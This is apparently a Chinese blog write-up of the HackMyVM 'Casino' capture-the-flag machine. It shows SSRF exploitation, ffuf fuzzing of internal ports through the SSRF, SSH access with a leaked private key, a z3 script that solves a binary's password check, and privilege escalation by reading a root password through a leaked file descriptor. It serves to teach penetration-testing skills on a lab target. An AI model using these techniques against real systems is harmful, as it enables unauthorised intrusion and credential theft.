hackmyvm casino复盘
FLow

靶机信息

地址:https://hackmyvm.eu/machines/machine.php?vm=Casino

难度:medium

靶机ip:192.168.64.82

信息收集

端口扫描扫到22和80端口

先到80端口,有个登陆页面,不知道账号密码,先注册一个账号

登陆进去后有个三个赌博游戏,起始金额是1000$,经过一番探索结合扫到的目录,我随便在猜点数的游戏把金额全部输光,接着界面就给我跳转到以下这个

注意url是”/casino/explainmepls.php?learnabout=en.wikipedia.org/wiki/Dice“,经过测试没办法文件包含查看一下文件,但是?learnabout=www.baidu.com 会跳转,猜测是存在ssrf漏洞,验证一下

会出现最开始看到的登陆页面,接着就fuzz一下对内有哪些端口开了(记得带上cookie)

1
2
3
4
for ((i=1; i<=65535; i++)); do
echo "$i" >> dictionary.txt
done
先生成一个脚本
1
ffuf -w dictionary.txt -u 'http://192.168.64.82/casino/explainmepls.php?learnabout=127.0.0.1:FUZZ' -fw 284 -b "PHPSPHPSESSID=kd3kcoc7nogvaeqsqktu0ktctb"

扫到了6969端口,先访问看看

是有东西的,扫一下目录看看

1
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u "http://192.168.64.82/casino/explainmepls.php?learnabout=localhost:6969/FUZZ" -b "PHPSESSID=kd3kcoc7nogvaeqsqktu0ktctb" -fw 284

扫到/codebreakers,

看到源码有个shimmer_rsa,访问之后意识一个私钥内容

保存之后利用这个文件ssh登陆成功

提权

可以看到目录下有个pass,是可以执行的,是要猜密码,传到本地用ida分析看看

main函数

点击看一下第一个密码的checkpasswd函数

有很多个表达式去匹配,我想到用z3去运算出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from z3 import *

# 创建26个变量,每个变量表示字符串中对应位置的字符
a = [Int('a[%d]' % i) for i in range(26)]

# 创建一个 Z3 solver 实例
solver = Solver()

# 添加字符串长度等于 26 的约束
solver.add(len(a) == 26)

# 添加各种条件约束
solver.add(a[0] - a[20] == -10)
solver.add(a[1] + a[6] == 208)
solver.add(a[2] - a[4] == 10)
solver.add(a[3] - a[14] == -2)
solver.add(a[4] * a[25] == 10100)
solver.add(a[5] + a[17] == 219)
solver.add(a[6] - a[10] == -11)
solver.add(a[7] - a[20] == -10)
solver.add(a[8] * a[17] == 11845)
solver.add(a[9] - a[18] == -7)
solver.add(a[10] - a[24] == 1)
solver.add(a[11] * a[4] == 9797)
solver.add(a[12] - a[3] == 3)
solver.add(a[13] * a[11] == 11252)
solver.add(a[14] - a[13] == -2)
solver.add(a[15] == a[23])
solver.add(a[16] - a[8] == -5)
solver.add(a[17] * a[7] == 10815)
solver.add(a[18] - a[14] == -2)
solver.add(a[19] - a[0] == -8)
solver.add(a[20] - a[23] == 4)
solver.add(a[21] + a[7] == 220)
solver.add(a[22] - a[1] == 15)
solver.add(a[23] == a[15])
solver.add(a[24] * a[2] == 12654)
solver.add(a[25] - a[12] == -15)

# 检查约束是否满足
if solver.check() == sat:
model = solver.model()
result = ''.join([chr(model[a[i]].as_long()) for i in range(26)])
print("满足条件的字符串为:", result)
else:
print("找不到满足条件的字符串")

跑出来的结果是“满足条件的字符串为: ihopethisisastrongpassword”

这样就拿到第一个密码了,依次输入两个密码拿到一个/bin/sh,注意这里的点是

程序中open了/opt/root.pass,但是没有close,可以看一下这个文件相关的进程

“在linux中,每个进程的 /proc/<PID>/fd 目录包含了该进程打开的文件描述符的符号链接。你可以通过查看该目录来了解进程打开的文件描述符的相关信息,可以用ls -l /proc/<PID>/fd查看,而一个进程的PID可以用lsof /path/to/your/file查看”

1
2
3
4
5
6
7
8
9
10
11
12
13
$ lsof /opt/root.pass
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sh 768 shimmer 3r REG 8,1 15 522246 /opt/root.pass
$ ls -l /proc/768/fd
total 0
lrwx------ 1 shimmer shimmer 64 mar 18 17:43 0 -> /dev/pts/0
lrwx------ 1 shimmer shimmer 64 mar 18 17:43 1 -> /dev/pts/0
lrwx------ 1 shimmer shimmer 64 mar 18 17:43 10 -> /dev/tty
lrwx------ 1 shimmer shimmer 64 mar 18 17:43 2 -> /dev/pts/0
lr-x------ 1 shimmer shimmer 64 mar 18 17:43 3 -> /opt/root.pass
$ cd /proc/768/fd
$ cat <&3
masteradmin420

一顿操作,就拿到了root的密码,su登陆,提权成功

web代码复盘

在games.php找到跳转explainmepls.php的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ($money == 0 && $game != 8) { // 这里就是需要money=0,所以要把钱输光
switch ($game) {
case 1:
$url = "en.wikipedia.org/wiki/Shell_game";
break;
case 2:
$url = "en.wikipedia.org/wiki/Russian_roulette";
break;
case 5:
$url = "en.wikipedia.org/wiki/Dice";
break;
default:
include_once "./games/error.php";
break;
}
header('Location: explainmepls.php?learnabout=' . $url);
}

触发ssrf漏洞的地方,“file_get_contents() 函数用于从指定的 URL 中获取内容并将其输出。可以通过控制 $learnabout 变量来构造任意 URL”

总结

wp说pass那块第一个密码可用angr模块解决,我自己看的时候先想到的是z3,最后也解出来了,后续要学一下

最开始那个赌博游戏也是经过一番探索才找到ssrf那个点,而且刚找到的时候还以为是文件包含(知识不够牢固)关于ssrf利用,端口的fuzz也需要记住,还有就是最后文件打开那块,还能通过lsof找到相关进程,感觉这个思路以后还会遇到,也算是多学习到linux有关的知识了,总的来说这个靶场很值得学习回顾。

所需知识点:ssrf漏洞利用,文件逆向,z3求解,linux进程号查找,端口扫描

由 Hexo 驱动 & 主题 Keep